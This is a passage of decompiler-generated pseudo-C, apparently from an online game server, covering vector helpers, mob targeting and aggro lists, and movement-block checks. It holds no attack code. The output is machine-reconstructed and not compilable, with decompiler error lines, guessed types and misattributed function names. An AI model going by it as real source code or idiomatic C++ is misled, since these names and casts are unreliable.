>= _Count ) { _Wherea = &v22[-_Count]; v4->_Mylast = (Navigator::NaviPoint *)std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( &v22[-_Count], v22, v22, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v22 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v23, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v23, (TickTimer *)(*(_DWORD *)&v23 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, v22, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v24 = v4->_Mylast; v25 = (TickTimer *)v4->_Mylast; LOBYTE(v32) = 3; std::vector>::_Ufill( (std::vector > *)v4, v25, _Count - (signed int)((char *)v24 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v26 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (Navigator::NaviPoint *)v26; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v26 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v9 >> 1) >= v9 ) v14 = (v9 >> 1) + v9; else v14 = 0; if ( v8 ) v15 = v4->_Mylast - v8; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 12 * v14; v16 = operator new(12 * v14); v17 = v16; v18 = (TickTimer *)v4->_Myfirst; _Newvec = v16; LOBYTE(v32) = 1; _Ptr = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v18, *(TickTimer **)&_Where, (TickTimer *)v16, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v11, (TickTimer *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, (TickTimer *)v4->_Mylast, &_Ptr[v11], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v19 = (int)v4->_Myfirst; v32 = 0; if ( v19 ) v19 = (signed int)((char *)v4->_Mylast - v19) / 12; v20 = v19 + v11; v21 = v4->_Myfirst; if ( v21 ) { std::vector>::_Destroy(v4, v21, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (Navigator::NaviPoint *)((char *)v17 + _Vala); v4->_Mylast = (Navigator::NaviPoint *)((char *)v17 + 12 * v20); v4->_Myfirst = (Navigator::NaviPoint *)v17; } } v32 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&_Tmp); } //----- (0048D770) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Navigator::UnitPoint *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::vector >::iterator v8; // ST04_4@7 std::vector >::iterator v9; // ST00_4@7 Navigator::UnitPoint *v10; // eax@7 int v11; // [sp-Ch] [bp-20h]@1 void *_Ptr; // [sp+0h] [bp-14h]@7 int *v13; // [sp+4h] [bp-10h]@1 int v14; // [sp+10h] [bp-4h]@7 unsigned int _Counta; // [sp+1Ch] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x1FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 8 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::vector >::iterator)v2->_Mylast; v9 = (std::vector >::iterator)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v9, v8, (SHINE_XY_TYPE *)v6, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (Navigator::UnitPoint *)((char *)v7 + _Counta); v2->_Mylast = (Navigator::UnitPoint *)((char *)v7 + 8 * v4); v2->_Myfirst = (Navigator::UnitPoint *)v7; } } //----- (0048D840) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Navigator::NaviPoint *v3; // eax@3 unsigned int v4; // ebx@6 TickTimer *v5; // ST04_4@6 TickTimer *v6; // ST00_4@6 Navigator::NaviPoint *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp-Ch] [bp-1Ch]@1 int *v11; // [sp+0h] [bp-10h]@1 int v12; // [sp+Ch] [bp-4h]@6 void *_Ptr; // [sp+18h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > 0x15555555 ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (Navigator::NaviPoint *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 12 * _Count; _Ptr = operator new(12 * _Count); v5 = (TickTimer *)v2->_Mylast; v6 = (TickTimer *)v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v6, v5, (TickTimer *)_Ptr, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; v12 = -1; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { std::vector>::_Destroy(v2, v7, v2->_Mylast); operator delete(v2->_Myfirst); } v2->_Myend = (Navigator::NaviPoint *)((char *)_Ptr + v4); v2->_Mylast = (Navigator::NaviPoint *)((char *)_Ptr + 12 * v8); v2->_Myfirst = (Navigator::NaviPoint *)_Ptr; } } //----- (0048D950) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::NaviPoint _Val) { Navigator::NaviPoint *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&_Val); } //----- (0048DA20) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x15555555 ) std::vector>::_Xlen(this); v4 = operator new(12 * _Capacity); v2->_Myend = (Navigator::NaviPoint *)((char *)v4 + 12 * _Capacity); v2->_Myfirst = (Navigator::NaviPoint *)v4; v2->_Mylast = (Navigator::NaviPoint *)v4; result = 1; } else { result = 0; } return result; } //----- (0048DA70) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize) { std::vector > *v2; // esi@1 int v3; // eax@1 _BYTE v4[12]; // ST04_12@1 Navigator::NaviPoint thisa; // [sp+0h] [bp-18h]@1 int v6; // [sp+14h] [bp-4h]@1 v2 = this; Navigator::NaviPoint::NaviPoint(&thisa); *(_QWORD *)v4 = *(_QWORD *)v3; *(_DWORD *)&v4[8] = *(_DWORD *)(v3 + 8); v6 = 0; std::vector>::resize( v2, _Newsize, *(Navigator::NaviPoint *)v4); v6 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); } //----- (0048DAE0) -------------------------------------------------------- void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; std::vector>::reserve(&this->baseclass_0, maxsize); } //----- (0048DB30) -------------------------------------------------------- void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; std::vector>::reserve(&this->baseclass_0, maxsize); } //----- (0048DB80) -------------------------------------------------------- #error "48DB80: undefined or illegal type '#740' (funcsize=552)" //----- (0048E2F0) -------------------------------------------------------- void __thiscall MobTargetBout::MobTargetBout(MobTargetBout *this) { MobTargetBout *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetBout::_vftable_; v1->mtb_targetlist = 0; } // 5BAE58: using guessed type int (__stdcall *MobTargetBout___vftable_)(int type, int slot, int distancesquar); //----- (0048E310) -------------------------------------------------------- void __thiscall MobTargetAggresive::MobTargetAggresive(MobTargetAggresive *this) { MobTargetAggresive *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0.baseclass_0); v1->baseclass_0.mtb_targetlist = 0; v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive::_vftable_; SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(&v1->mta_InstanceTarget.mts_EnemyAnalyzer); } // 5BAE88: using guessed type int (__thiscall *MobTargetAggresive___vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); //----- (0048E360) -------------------------------------------------------- void __thiscall MobTargetAggresive::_MobTargetAggresive(MobTargetAggresive *this) { MobTargetSelector *v1; // esi@1 v1 = (MobTargetSelector *)this; this->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive::_vftable_; SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(&this->mta_InstanceTarget.mts_EnemyAnalyzer); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetBout::_vftable_; MobTargetSelector::_MobTargetSelector(v1); } // 5BAE58: using guessed type int (__stdcall *MobTargetBout___vftable_)(int type, int slot, int distancesquar); // 5BAE88: using guessed type int (__thiscall *MobTargetAggresive___vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); //----- (0048E3C0) -------------------------------------------------------- void __thiscall MobTargetAggresive2::MobTargetAggresive2(MobTargetAggresive2 *this) { MobTargetAggresive2 *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0.baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.mtb_targetlist = 0; v1->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive::_vftable_; SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(&v1->baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); v1->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive2::_vftable_; } // 5BAE88: using guessed type int (__thiscall *MobTargetAggresive___vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); // 5BAEC0: using guessed type int (__thiscall *MobTargetAggresive2___vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); //----- (0048E420) -------------------------------------------------------- void __thiscall MobTargetAggresive2::_MobTargetAggresive2(MobTargetAggresive2 *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive2::_vftable_; MobTargetAggresive::_MobTargetAggresive(&this->baseclass_0); } // 5BAEC0: using guessed type int (__thiscall *MobTargetAggresive2___vftable_)(MobTargetAggresive *this, #325 *, #325 *, int distancesquar); //----- (0048E430) -------------------------------------------------------- void __thiscall MobTargetNoBrain::MobTargetNoBrain(MobTargetNoBrain *this) { MobTargetNoBrain *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0.baseclass_0); v1->baseclass_0.mtb_targetlist = 0; v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetNoBrain::_vftable_; } // 5BAEF8: using guessed type int (__stdcall *MobTargetNoBrain___vftable_)(int type, int slot, int distancesquar); //----- (0048E450) -------------------------------------------------------- void __thiscall MobTargetBout::_MobTargetBout(MobTargetNoBrain *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetBout::_vftable_; MobTargetSelector::_MobTargetSelector(&this->baseclass_0.baseclass_0); } // 5BAE58: using guessed type int (__stdcall *MobTargetBout___vftable_)(int type, int slot, int distancesquar); //----- (0048E460) -------------------------------------------------------- #error "48E460: undefined or illegal type '#325' (funcsize=32)" //----- (0048E4C0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)MobAggroManager::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5BAF28: using guessed type int (__stdcall *MobAggroManager___vftable_[3])(__int16 hnd); //----- (0048E4E0) -------------------------------------------------------- void __thiscall MobAggroManager::_MobAggroManager(MobAggroManager *this) { MobAggroManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; _eh_vector_destructor_iterator_( this->mam_Array, 0x20u, 10, (void (__thiscall *)(void *))MobTargetEraser::_MobTargetEraser); v1->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5BAF28: using guessed type int (__stdcall *MobAggroManager___vftable_[3])(__int16 hnd); //----- (0048E550) -------------------------------------------------------- void *__thiscall MobTargetBout::_vector_deleting_destructor_(MobTargetNoBrain *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetBout::_MobTargetBout(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0048E570) -------------------------------------------------------- void *__thiscall MobTargetAggresive::_scalar_deleting_destructor_(MobTargetAggresive *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresive::_MobTargetAggresive(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0048E590) -------------------------------------------------------- void *__thiscall MobTargetAggresive2::_vector_deleting_destructor_(MobTargetAggresive2 *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresive2::_MobTargetAggresive2(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0048E5B0) -------------------------------------------------------- void __thiscall MobTargetBout::mts_SlayerList(MobTargetBout *this, PROTO_NC_BAT_MOBSLAYER_CMD *pack, unsigned __int16 mob) { List *v3; // ecx@1 SlayerCollect sc; // [sp+0h] [bp-14h]@1 int v5; // [sp+10h] [bp-4h]@1 sc.sc_Packet = pack; sc.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&SlayerCollect::_vftable_; pack->number = 0; sc.sc_Packet->killedmob = mob; v3 = (List *)this->mtb_targetlist; v5 = 0; List::l_4AllInList(v3, (ListIteratorDefault *)&sc); } // 5BAF44: using guessed type int (__stdcall *SlayerCollect___vftable_)(int ele, __int16 handle); //----- (0048E610) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0048E730) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, MobTargetStruct *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { MobTargetStruct::operator_(v3, (int)ele); result = 1; } else { result = 0; } return result; } //----- (0048E760) -------------------------------------------------------- #error "48E760: undefined or illegal type '#325' (funcsize=28)" //----- (0048E7B0) -------------------------------------------------------- #error "48E7B0: undefined or illegal type '#325' (funcsize=40)" //----- (0048E820) -------------------------------------------------------- #error "48E820: undefined or illegal type '#325' (funcsize=40)" //----- (0048E890) -------------------------------------------------------- void __thiscall MobAggroManager::MobAggroManager(MobAggroManager *this) { MobAggroManager *v1; // esi@1 ListStruct *v2; // eax@2 ListStruct *v3; // eax@5 ListStruct *v4; // eax@8 ListStruct *v5; // eax@11 ListStruct *v6; // eax@14 ListStruct *v7; // eax@17 ListStruct *v8; // eax@20 ListStruct *v9; // eax@23 ListStruct *v10; // eax@26 ListStruct *v11; // eax@29 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0xAu); v1->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; _eh_vector_constructor_iterator_( v1->mam_Array, 0x20u, 10, (void (__thiscall *)(void *))MobTargetStruct::MobTargetStruct, (void (__thiscall *)(void *))MobTargetEraser::_MobTargetEraser); if ( v1->baseclass_0.l_MaxSize ) { v2 = v1->baseclass_0.l_Array; if ( !v2->ls_Content ) v2->ls_Content = v1->mam_Array; } if ( v1->baseclass_0.l_MaxSize > 1u ) { v3 = v1->baseclass_0.l_Array; if ( !v3[1].ls_Content ) v3[1].ls_Content = &v1->mam_Array[1]; } if ( v1->baseclass_0.l_MaxSize > 2u ) { v4 = v1->baseclass_0.l_Array; if ( !v4[2].ls_Content ) v4[2].ls_Content = &v1->mam_Array[2]; } if ( v1->baseclass_0.l_MaxSize > 3u ) { v5 = v1->baseclass_0.l_Array; if ( !v5[3].ls_Content ) v5[3].ls_Content = &v1->mam_Array[3]; } if ( v1->baseclass_0.l_MaxSize > 4u ) { v6 = v1->baseclass_0.l_Array; if ( !v6[4].ls_Content ) v6[4].ls_Content = &v1->mam_Array[4]; } if ( v1->baseclass_0.l_MaxSize > 5u ) { v7 = v1->baseclass_0.l_Array; if ( !v7[5].ls_Content ) v7[5].ls_Content = &v1->mam_Array[5]; } if ( v1->baseclass_0.l_MaxSize > 6u ) { v8 = v1->baseclass_0.l_Array; if ( !v8[6].ls_Content ) v8[6].ls_Content = &v1->mam_Array[6]; } if ( v1->baseclass_0.l_MaxSize > 7u ) { v9 = v1->baseclass_0.l_Array; if ( !v9[7].ls_Content ) v9[7].ls_Content = &v1->mam_Array[7]; } if ( v1->baseclass_0.l_MaxSize > 8u ) { v10 = v1->baseclass_0.l_Array; if ( !v10[8].ls_Content ) v10[8].ls_Content = &v1->mam_Array[8]; } if ( v1->baseclass_0.l_MaxSize > 9u ) { v11 = v1->baseclass_0.l_Array; if ( !v11[9].ls_Content ) v11[9].ls_Content = &v1->mam_Array[9]; } } // 5BAF28: using guessed type int (__stdcall *MobAggroManager___vftable_[3])(__int16 hnd); //----- (0048E9F0) -------------------------------------------------------- #error "48E9F0: undefined or illegal type '#740' (funcsize=67)" //----- (0048EAA0) -------------------------------------------------------- void __thiscall AxialListBriefExchangerAtMove::_AxialListBriefExchangerAtMove(AxialListBriefExchangerAtMove *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefExchangerAtMove::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BAF74: using guessed type int (__stdcall *AxialListBriefExchangerAtMove___vftable_)(#325 *myself, int, int distancesquar); //----- (0048EAB0) -------------------------------------------------------- void __thiscall AxialListBriefDeleteAtMove::_AxialListBriefDeleteAtMove(AxialListBriefDeleteAtMove *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefDeleteAtMove::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5BAF78: using guessed type int (__stdcall *AxialListBriefDeleteAtMove___vftable_)(int, int, int distancesquar); //----- (0048EAC0) -------------------------------------------------------- #error "48EAC0: undefined or illegal type '#740' (funcsize=85)" //----- (0048EBE0) -------------------------------------------------------- #error "48EBE0: undefined or illegal type '#325' (funcsize=106)" //----- (0048ED40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange(void *this, int goal) { void *v2; // esi@1 int v3; // eax@1 AxialListBriefExchangerAtMove briefexchanger; // [sp+1Ch] [bp-14h]@1 int v5; // [sp+2Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; AxialListIterator::AxialListIterator(&briefexchanger.baseclass_0); briefexchanger.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefExchangerAtMove::_vftable_; briefexchanger.albeam_goal = (SHINE_XY_TYPE *)goal; LOBYTE(v5) = 1; v3 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v3, goal, 0, 0, (int)&briefexchanger, 0, 65535); LOBYTE(v5) = 0; briefexchanger.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefExchangerAtMove::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&briefexchanger); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange"); } // 5BAF74: using guessed type int (__stdcall *AxialListBriefExchangerAtMove___vftable_)(#325 *myself, int, int distancesquar); //----- (0048EE30) -------------------------------------------------------- #error "48EE30: undefined or illegal type '#325' (funcsize=100)" //----- (0048EF70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_OldObjectDelete(void *this, int from) { void *v2; // esi@1 int v3; // eax@1 AxialListBriefDeleteAtMove briefdelete; // [sp+1Ch] [bp-14h]@1 int v5; // [sp+2Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_OldObjectDelete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_OldObjectDelete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; AxialListIterator::AxialListIterator(&briefdelete.baseclass_0); briefdelete.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefDeleteAtMove::_vftable_; briefdelete.albdam_from = (SHINE_XY_TYPE *)from; LOBYTE(v5) = 1; v3 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v3, from, 0, 0, (int)&briefdelete, 0, 65535); LOBYTE(v5) = 0; briefdelete.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefDeleteAtMove::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&briefdelete); --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_OldObjectDelete"); } // 5BAF78: using guessed type int (__stdcall *AxialListBriefDeleteAtMove___vftable_)(int, int, int distancesquar); //----- (0048F060) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocateFrom(void *this, int from, int locate, int distance, int div, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)) { char result; // al@2 int v7; // ebx@3 int v8; // eax@3 int v9; // ecx@3 int v10; // edi@3 signed int v11; // esi@3 int v12; // eax@3 int v13; // edi@6 int ycoord; // [sp+0h] [bp-30h]@3 void *v15; // [sp+4h] [bp-2Ch]@1 int v16; // [sp+8h] [bp-28h]@3 int dy; // [sp+Ch] [bp-24h]@3 VectorClass::VectorWithLength movevector; // [sp+14h] [bp-1Ch]@1 int v19; // [sp+2Ch] [bp-4h]@1 signed int froma; // [sp+34h] [bp+4h]@4 signed int locatea; // [sp+38h] [bp+8h]@4 signed int distancea; // [sp+3Ch] [bp+Ch]@3 int diva; // [sp+40h] [bp+10h]@3 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; VectorClass::VectorWithLength::VectorWithLength(&movevector, (SHINE_XY_TYPE *)from, (SHINE_XY_TYPE *)locate); LOBYTE(v19) = 1; if ( VectorClass::VectorWithLength::vwl_GetLength((int)&movevector) <= distance + 10 ) { v7 = div; *(_DWORD *)div = *(_DWORD *)from; *(_DWORD *)(div + 4) = *(_DWORD *)(from + 4); v8 = VectorClass::VectorWithLength::vwl_GetLength((int)&movevector); v9 = *(_DWORD *)from; v10 = *(_DWORD *)(from + 4); v11 = v8 / 8 + 1; v12 = *(_DWORD *)locate - *(_DWORD *)from; diva = *(_DWORD *)from; ycoord = *(_DWORD *)(from + 4); v16 = *(_DWORD *)locate - *(_DWORD *)from; dy = *(_DWORD *)(locate + 4) - v10; distancea = 1; if ( v11 >= 1 ) { froma = *(_DWORD *)(locate + 4) - v10; locatea = v12; while ( 1 ) { v13 = v9 + locatea / v11; if ( (unsigned __int8)xcoord(*(_DWORD *)(*(_DWORD *)((char *)v15 + 98) + 20), v13, ycoord + froma / v11) ) break; *(_DWORD *)v7 = v13; *(_DWORD *)(v7 + 4) = ycoord + froma / v11; ++distancea; locatea += v16; froma += dy; if ( distancea > v11 ) break; v9 = diva; } } LOBYTE(v19) = 0; VectorClass::VectorWithLength::_VectorWithLength(&movevector); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); result = 1; } else { LOBYTE(v19) = 0; VectorClass::VectorWithLength::_VectorWithLength(&movevector); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_FindBlockLocateFrom"); result = 0; } return result; } //----- (0048F220) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineMobileObject::smo_BlockCheck(int finalx, int finaly) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_BlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_BlockCheck"); return 1; } //----- (0048F270) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveBlockCheck(void *this, unsigned int x, unsigned int y) { void *v3; // esi@1 bool v4; // bl@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "g_MoveBlockCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "g_MoveBlockCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MapBlock::MapBlockInformation::mbi_IsAttackBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y) || MapBlock::MapBlockInformation::mbi_IsMoveBlock( *(MapBlock::MapBlockInformation **)(*(_DWORD *)((char *)v3 + 98) + 20), x, y); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, 